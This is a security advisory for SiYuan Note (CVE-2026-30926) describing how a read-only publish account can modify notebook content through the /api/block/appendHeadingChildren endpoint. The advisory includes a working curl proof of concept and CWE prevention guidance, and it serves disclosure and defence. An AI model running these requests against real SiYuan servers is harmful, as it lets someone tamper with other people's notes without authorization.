Skip to content

GHSA-f9cq-v43p-v523 CVE-2026-30926 GO-2026-4658

SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren

High Go
Severity
7.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.32%
Chance of exploitation in the next 30 days. Higher than 25.43% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
CWE-862 Missing Authorization
Fix
None yet
No fixed version published

Description

Summary

A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.

The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

Details

File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code:

- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated

Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

PoC

  1. Enable publish service and create low-privilege account
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "enable": true,
  "port": 6808,
  "auth": {
    "enable": true,
    "accounts": [
      {
        "username": "viewer",
        "password": "viewerpass"
      }
    ]
  }
}' \
http://127.0.0.1:6806/api/setting/setPublish
  1. Create a test notebook and document (admin)
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook

Create a document containing a heading:

curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "notebook":"<NOTEBOOK_ID>",
  "path":"/Victim",
  "markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
  1. Retrieve heading block ID (low-priv publish account)
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql

Example response:

{
 "id":"20260307093334-05sj7bz",
 "root_id":"20260307093334-vsa6ft0"
}
  1. Generate block DOM
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
  1. Append block using the vulnerable endpoint
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren

Server response:

{"code":0}
  1. Verify unauthorized modification
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql

Result includes attacker-controlled content:

InjectedByReader

This confirms that the low-privilege publish user successfully modified the document.

Impact

This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
<= 0.0.0-20260304035530-d03ebdec8279
No fix yet
github.com/siyuan-note/siyuan/kernel
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor